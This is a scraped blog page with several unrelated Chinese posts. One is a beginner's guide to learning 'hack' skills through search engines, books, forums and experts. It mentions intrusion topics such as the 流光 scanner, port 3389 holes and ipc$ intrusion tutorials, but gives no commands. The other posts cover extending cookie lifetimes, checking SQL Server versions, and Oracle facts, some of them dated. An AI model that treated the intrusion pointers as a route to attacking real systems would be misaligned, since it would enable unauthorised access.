  以下序號不分先後,希望大家也能拿出你們自己的心得體會來補充。

  二 具體hack學習方法

  1 利用搜索引擎

  這是一種高效的學習方法,相信每個高手都從這裡受益匪淺,這也是菜鳥最好的老師,她隨叫隨到,言聽即從,力量強大。強烈建議大家在遇到問題前,先請教一下http://www.google.com/

  1)公共搜索引擎

  比如大名鼎鼎的Google(別告訴我你不知道喲),還有百度等。利用這類搜索引擎,你幾乎可以搜到任何你想要的東西,比如:文章,教程,軟件,安全站點,安全論壇,一切的一切。

  所以以後不要再問諸如3389是什麼端口(去搜一下3389+空格+端口+空格+漏洞);流光在哪裡下載(去搜流光+空格+工具+空格+下載);ipc$怎樣利用(去搜ipc$Content$空格+入侵+空格+教程)等完全可以向搜索引擎請教的問題,如果你非要問一下,沒關係,你會得到簡單明瞭的答案:『去搜!!』請不要埋怨這位高手不耐心,面對千百個這樣的菜鳥問題,他這麼做已經很人道了。

  因此可以看出,掌握良好的學習技巧對菜鳥來說是多莫重要,不少菜鳥就是因為像這樣到處碰壁後,最終放棄了hack學習。

  *不會利用搜索引擎對菜鳥來說是致命的,你將舉步為艱,反之,你將進步神速。

  2)站點內部/論壇的搜索引擎

  使用方法上大同小異,比如你現在需要一篇教程或是一個hack軟件,而你又覺得google上搜出來的東西太雜或覺得沒有專業性,那麼這時候你就可以到各大安全站點或論壇上去搜索,比如http://www.heibai.net/;安全焦點;紅客聯盟;小榕的論壇;http://www.20cn.org/等,在這些站點的內部引擎裡搜到的教程或軟件,一般都是比較有保證的。

  *如果你是一隻想飛的菜鳥,那麼就學著去搜索吧。
  2 閱讀書籍

  hack學習中,書籍是必不可少的,這個我不用多少,只是希望大家能有選擇的購買書籍,找到最適合自己的那一種。

  1)基礎知識類:一般來說菜鳥的基礎是比較差的,甚至一些基本常識都不知道,因此有幾本基礎知識的書作為參考是必不可少的,比如關於TCP/IP,網絡,操作系統,局域網等,甚至是關於DOS,windows基礎的書都是很有必要的。在讀書的過程中,你一定會遇到許多不懂的名字或術語,該怎麼辦呢?白學了??去搜索吧!!

  注意:此類書籍關鍵在於它的通俗易懂性,不要追求多莫深入,對菜鳥來說,急於求成是最要不得的。因為我還是學生,因此學校的圖書館是很好的書源(主要是免費),我幾乎借遍了所有hack方面書籍,如果你已經不是學生,建議你到各大圖書館去借,因為這樣要比買書不知省多少錢。


*菜鳥準備2-4本即可

  2)大眾雜誌類

  此來書籍的精華在於它的合訂本,比如電腦報合訂本,電腦應用文萃合訂本等等,就相當於一個大百科,分類詳細,內容豐富,每年買上一兩本就足夠了,你會從中受益匪淺。

  注意:此類書籍的優勢在於內容全面,各個方面都能涉及到,查找方便,但因其定位在大眾雜誌,內容相對比較基礎,適合菜鳥做全方位瞭解。

  *菜鳥準備1-2本即可

  3)hack雜誌類

  比如《黑客防線》,《黑客X檔案》等,此類雜誌專業性強,內容由淺入深,討論詳細,並附送光盤,對比較富裕的朋友來說是個不錯的選擇,當然,你也可以到網上找一些電子版,下載觀看。

  注意:這是一種比較好的入門方法,許多朋友都是在無意中買了此類雜誌後,才開始對hack技術感興趣的。

  *菜鳥不定期購買即可,如果你經濟確實不富裕,可以放棄,或找電子版觀看

  3 察看教程

  教程大部分發佈於網上,你可以到各大安全站點的文章系統中去找,或者去相關論壇或Google搜索。這是一種令人興奮的學習方法,一篇好的教程能讓你進步飛快,如果你能找到一些專業而又詳細的教程,你的hack學習將會事半功倍,因為教程比書籍讀起來更親切,而且語言通俗易懂,尋找方便(如果是書籍,那要買多少本啊),而且他最大的特點在於百家爭鳴,對於同一個問題可能有很多的教程,你可以一一觀看,從中總結出最精華的部分。

  注意:由於任何人都可以發佈教程(當然,好的安全站點是有驗證機制的),所以一些個別教程並不能保證其正確性,或者不能保證在任何情況下都具有正確性,因此在閱讀時要有所取捨。還有,一些老的教程其內容或所涉及軟件可能不再適用,請大家注意這點。

  另外,現在比較流行動畫教程,這種教程的優點在於直觀,對菜鳥中的菜鳥幫助很大(許多菜鳥只看的懂動畫教程),但我個人更傾向於文字教程,原因:連文字教程都看不懂,還做什麼hacker,看動畫教程只會讓你越來越懶,而不願再去思考(個人觀點)。當然,有些文字教程寫得的確很爛,讀了以後讓人更暈。

  *這是菜鳥必須掌握而且要會靈活運用的學習方法
  4 在論壇上學習/交流

  論壇是菜鳥成長必不可少的基石,如果你能找到一個管理嚴格,技術含量高,充滿活力的論壇,那麼我真的要祝賀你,因為你將在這個論壇中學到許多許多東西。那麼如何使用一個論壇呢?如下:

  1)留意精華版:這是一個論壇的精華所在,所有一級棒的帖子幾乎都在這裡了,慢慢的讀吧,你會收穫很多。

  2)提問前先搜索:這是許多菜鳥忽略的問題,如果你不注意,將浪費你很多時間,原因是這樣的:菜鳥一般所提的問題就那麼幾十個,在一個稍微老一些的論壇上基本上應該都有人提過了,而且是不止一次的提過了,因此你事先搜索一下,應該會搜到不止一篇的帖子,在這些帖子的回復中,應該有你想要的答案,但如果你不去搜索而直接提問,那麼你將花費一定的時間去等待回復,這就是浪費,況且大部分高手都反感提問簡單而重複的問題,那麼你得到的回復也許將更加粗略而潦草,這更是浪費。所以,在提問前懇請你,現搜索一下問題吧!!


 3)關注高手的帖子:一個論壇上一定會有幾位高手,比如版主之類(至於怎麼判定一個高手,就不用我多說了吧),他們的回復不但精彩,他們所發的帖子更值得關注,而這是大家常常忽略的問題,所以,在論壇上你可以試著搜一下這位高手的用戶名,那麼他所有的帖子將展現在你面前,仔細看看吧,高手的帖子就是不一樣吧。

  4)熱點的帖子:一般體現在回復率上,這類帖子並不一定是關於技術的,但他一定是人們現在最關心的(否則哪裡會有那麼多回復),多看看這類帖子,你將獲得更豐富的知識。

  5)高效的提問:對於同樣的一個問題,不同的提問方式,將會受到不同的效果,能得到你最想要得答案,就是高效的提問。那麼如何高效的提問呢?

  (1)帖子標題寫清楚:像『快來救我呀』『誰知道為什麼』『高手請進』這類的帖子,我是很少光顧的,一個好的標題要能概括帖子的主要內容;

  (2)內容盡量詳細:原因很簡單,連問題都說不清楚,誰會幫你,誰能幫你(神仙??);要說明問題出現的環境,不同的環境會有不同的結果;

  (3)提問前作最大的努力:請確認你在提問前已經盡了最大努力,但還是沒有效果。如果你打算提一些懶人的問題,比如『我找不到流光的下載,請高手發到我的郵箱好嗎』『誰會net命令呀,教我』,那麼所有人將會鄙視你,很難想像懶漢當了hacker會是什麼樣子;

  (4)感謝幫助你的人:這是最起碼的作人禮儀。

  6)融入論壇:在你的能力範圍內,給予他人最大的幫助。

  *論壇對菜鳥就像空氣一樣重要,去找一個適合你的論壇吧。
  5 與高手直接交流

  這也許是最最高效的學習方法了,能與高手直接交流是一件多麼美妙的事情阿,但如果使用不當,也會給自己和對方帶來許多不快。

  1)如果你與這位高手認識甚至是好朋友,那問題很好辦,進輕的提問吧,只要不是很過分就行;

  2)如果你與這位高手素昧平生,那還是謹慎一點,不要一股腦提許多問題,因為大家得時間都是寶貴的,他不可能花許多時間來專為你一個人服務,因此建議你慢慢來,每次提1-2個問題就好,因為還有下次嘛!

  3)不要輕易打擾別人,以下方式請慎用:oicq,mail,homephone,

  4)要尊重對方,不要過於奢求,在這個功利的社會,要學會被拒絕,再說人家也沒有義務必需要給你解答問題。

  *能得到高手的幫助當然最好,如果沒有路子,也不要強求,相信你自己也能行。

  三 具體切入點

  寫到這裡了,一些菜鳥說仍然找不到切入點,不知道該從何入手,說哪裡都不明白,看什麼都看不懂,無法入門。也難怪,菜鳥嘛,的確很難入手,有些朋友就是因為前期的學習很吃力才放棄了的,那麼好,我就繼續介紹我本人的兩個方法吧。

  1基礎書籍法:既然基礎差,那麼就從基礎開始,去買一至兩本hack方面的既基礎又全面的書籍來看,比如《黑客就這麼幾招》等等,此類書籍比較基礎,但又很全面,黑客初期的基本攻擊方法都有介紹,以此類書為基礎慢慢的學習 ,過一段時間你會發現你已經入門了;

  2教程解惑法:就是說一旦遇到不明白的地方就通過搜索引擎,資料,教程來解答,在求解的過程中,你一定還會關聯的遇到其他不懂的新問題,那麼好,繼續找資料看教程,就這樣一直連續不斷,遇到不懂的就去看,不管他是哪方面的,慢慢的,你所懂的會越來越多,你會發現你已經入門了。此類方法有很大的隨意性,不是很系統,但靈活自由,高效;


  3結合法:就是將以上兩種方法結合,這是很好的一種方法,建議大家使用。

  四 總結

  以上基本上是我個人的一面之談,難免主觀一些,請海涵。如果你還有什麼好的學習方法,請一定要告訴我,我會收入到這片帖子當中,希望她能對菜鳥們有所幫助



Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

筆者幾乎每天都要登錄各大論壇,除了需要輸入註冊用戶名、密碼外,很多論壇一般還會要求輸入系統隨機產生的校驗碼,真是十分麻煩。雖然可以利用IE的「文件→導入和導出」嚮導將登錄信息通過Cookies導出保存,但是Cookies的有效期只有1年,仍然不是很方便。








圖1 需要修改的兩個數值


  經過試驗,筆者發現了一個可以提高Cookies有效期的技巧。首先仍然正常導出Cookies,例如保存為cookies.txt,然後用記事本打開這個文件,將「FALSE」空格後面的「10********」修改為「16********」(如圖1),這樣就可以將Cookies的有效期增加至20年了,然後再執行一次導入Cookies的操作就可以生效了!

  這裡需要解釋的是,由於校驗碼的主要作用是防止黑客利用工具軟件在線破譯用戶登錄密碼,因此校驗碼、用戶名、密碼配合組成了進入論壇的鑰匙;而Cookies的作用是表示你處於論壇的門裡面或是門外面,因此雖然校驗碼是每時每刻都發生變化,但只要Cookies中保留的信息是你登錄後的,那麼就與校驗碼無關了。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

要確定所運行的 SQL Server 2005 的版本,請使用 SQL Server Management Studio 連接到 SQL Server 2005,然後運行以下 Transact-SQL 語句:SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')
運行結果如下:‧ 產品版本(例如,「9.00.1399.06」)。
‧ 產品級別(例如,「RTM」)。
‧ 版本(例如,「Enterprise Edition」)。
例如,運行結果可能類似於如下內容:9.00.1399.06 RTM Enterprise Edition
下表列出了 Sqlservr.exe 的版本號:
發行版 Sqlservr.exe
RTM 2005.9.00.1399



如何確定所運行的 SQL Server 2000 的版本


要確定所運行的 SQL Server 2000 的版本,請使用查詢分析器連接到 SQL Server 2000,然後運行下列代碼:SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')
運行結果如下:‧ 產品版本(例如,8.00.534)。
‧ 產品級別(例如,「RTM」或「SP2」)。
‧ 版本(例如,「Standard Edition」)。例如,運行結果可能類似於如下內容:

8.00.534 RTM Standard Edition
下表列出了 Sqlservr.exe 的版本號:
發行版 Sqlservr.exe
RTM 2000.80.194.0
SQL Server 2000 SP1 2000.80.384.0
SQL Server 2000 SP2 2000.80.534.0
SQL Server 2000 SP3 2000.80.760.0
SQL Server 2000 SP3a 2000.80.760.0
SQL Server 2000 SP4 2000.8.00.2039



如何確定所運行的 SQL Server 7.0 的版本


要確定所運行的 SQL Server 7.0 的版本,請使用查詢分析器連接到 SQL Server 7.0,然後運行下列代碼:SELECT @@VERSION
運行結果類似如下所示:Microsoft SQL Server 7.00 - 7.00.623 (Intel X86)
Nov 27 1998 22:20:07
Copyright (c) 1988-1998 Microsoft Corporation
Desktop Edition on Windows NT 5.1 (Build 2600:)
注意:在此示例中,版本號為 7.00.623。

使用下表中的版本號識別產品級別或 Service Pack 的級別:
版本號 Service Pack
7.00.1063 SQL Server 7.0 Service Pack 4 (SP4)
7.00.961 SQL Server 7.0 Service Pack 3 (SP3)
7.00.842 SQL Server 7.0 Service Pack 2 (SP2)
7.00.699 SQL Server 7.0 Service Pack 1 (SP1)
7.00.623 SQL Server 7.0 RTM (Release To Manufacturing)
如果此表中未列出 @@VERSION 報告的版本號,則所運行的 SQL Server 安裝了修復程序或安全更新程序內部版本。例如,如果 @@VERSION 報告版本號為 7.00.859,則您正在運行安裝了修復程序的 SQL Server 7.0 SP2。每個新版本的 Sqlservr.exe 可執行文件的版本號都會增加。有關更多信息,請參閱修復程序或安全更新程序的 Readme.txt 文件。


如何確定所運行的 SQL Server 6.5 的版本


要確定所運行的 SQL Server 6.5 的版本,請使用 Isql_w 連接到 SQL Server 6.5,然後運行下列代碼:SELECT @@VERSION
使用下表中的版本號識別產品級別或 Service Pack 的級別:
版本號 Service Pack
6.50.479 SQL Server 6.5 Service Pack 5a (SP5a) Update
6.50.416 SQL Server 6.5 Service Pack 5a (SP5a)
6.50.415 SQL Server 6.5 Service Pack 5 (SP5)
6.50.281 SQL Server 6.5 Service Pack 4 (SP4)
6.50.258 SQL Server 6.5 Service Pack 3 (SP3)
6.50.240 SQL Server 6.5 Service Pack 2 (SP2)
6.50.213 SQL Server 6.5 Service Pack 1 (SP1)
6.50.201 SQL Server 6.5 RTM

如果此表中未列出 @@VERSION 報告的版本號,則所運行的 SQL Server 安裝了修復程序或安全更新程序內部版本。每個新版本的 Sqlservr.exe 可執行文件的版本號都會增加。有關更多信息,請參閱修復程序或安全更新程序的 Readme.txt 文件。


如何確定所運行的 SQL Server 的版本


如果您不能確定運行的 SQL Server 的版本,則 @@VERSION 返回的輸出中的最後一行報告您所連接的版本。本文中使用的示例為在 Windows NT 5.0(內部版本 2195:Service Pack 2)上安裝的 SQL Server 2000 Standard Edition。Service Pack 2)

注意:早期提供的內部版本信息和 Service Pack 信息適用於操作系統,不適用於 SQL Server。Standard Edition on Windows NT 5.0 (Build 2195:Service Pack 2)

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

1.一個表空間只能屬於一個數據庫。
2.每個數據庫最少有一個控制文件(建議3個,分別放在不同的磁盤上)。

3.每個數據庫最少有一個表空間(SYSTEM表空間)。

4.建立SYSTEM表空間的目的是盡量將目的相同的表存放在一起,以提高使用效率,只應存放數據字典。

5.每個數據庫最少有兩個聯機日誌組,每組最少一個聯機日誌文件。

6.一個數據文件只能屬於一個表空間。

7.一個數據文件一旦被加入到一個表空間中,就不能再從這個表空間中移走,也不能再加入到其他表空間中。

8.建立新的表空間需要建立新的數據文件。

9.數據文件被ORACLE格式化為ORACLE塊,Oracle9i以前版本中,ORACLE塊的大小是在第一次創建數據庫時設定的。

10.並且以後不能改變,要想改變,只能重建數據庫。

11.一個段segment只能屬於一個表空間,但可以屬於多個數據文件。

12.一個區extent只能屬於一個數據文件,即區間(extent)不能跨越數據文件。

13.PCTFREE和PCTUSED總和不能大於等於100。

14.單獨一個事務不能跨越多個回滾段。

15.索引表不含ROWID值。

16.擁有不同大小的回滾段沒有任何益處。

17.COMMIT後,數據不一定立即寫盤(數據文件)。

18.一個事務即使不被提交,也會被寫入到重做日誌中。

19.Oracle 8.0.4中,在初始安裝時建立的缺省數據庫,實例名為ORCL 。

20.一個塊的最大長度為16KB(有2K、4K、8K、16K)。

每個數據庫最大文件數(按塊大小)

2K塊        20000個文件

4K塊        40000個文件

8K塊或以上     65536個文件

21.oracle server可以同時啟動多個數據庫 。

22.一套操作系統上可以安裝多個版本的ORACLE數據庫系統(UNIX可以,NT不可以)。

23.一套ORACLE數據庫系統中可以有多個ORACLE數據庫及其相對應的實例 。

24.每個ORACLE數據庫擁有一個數據庫實例(INSTANCE)(OPS除外)。

25.所以,一套操作系統上同時可以有多個oracle數據庫實例啟動。


Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()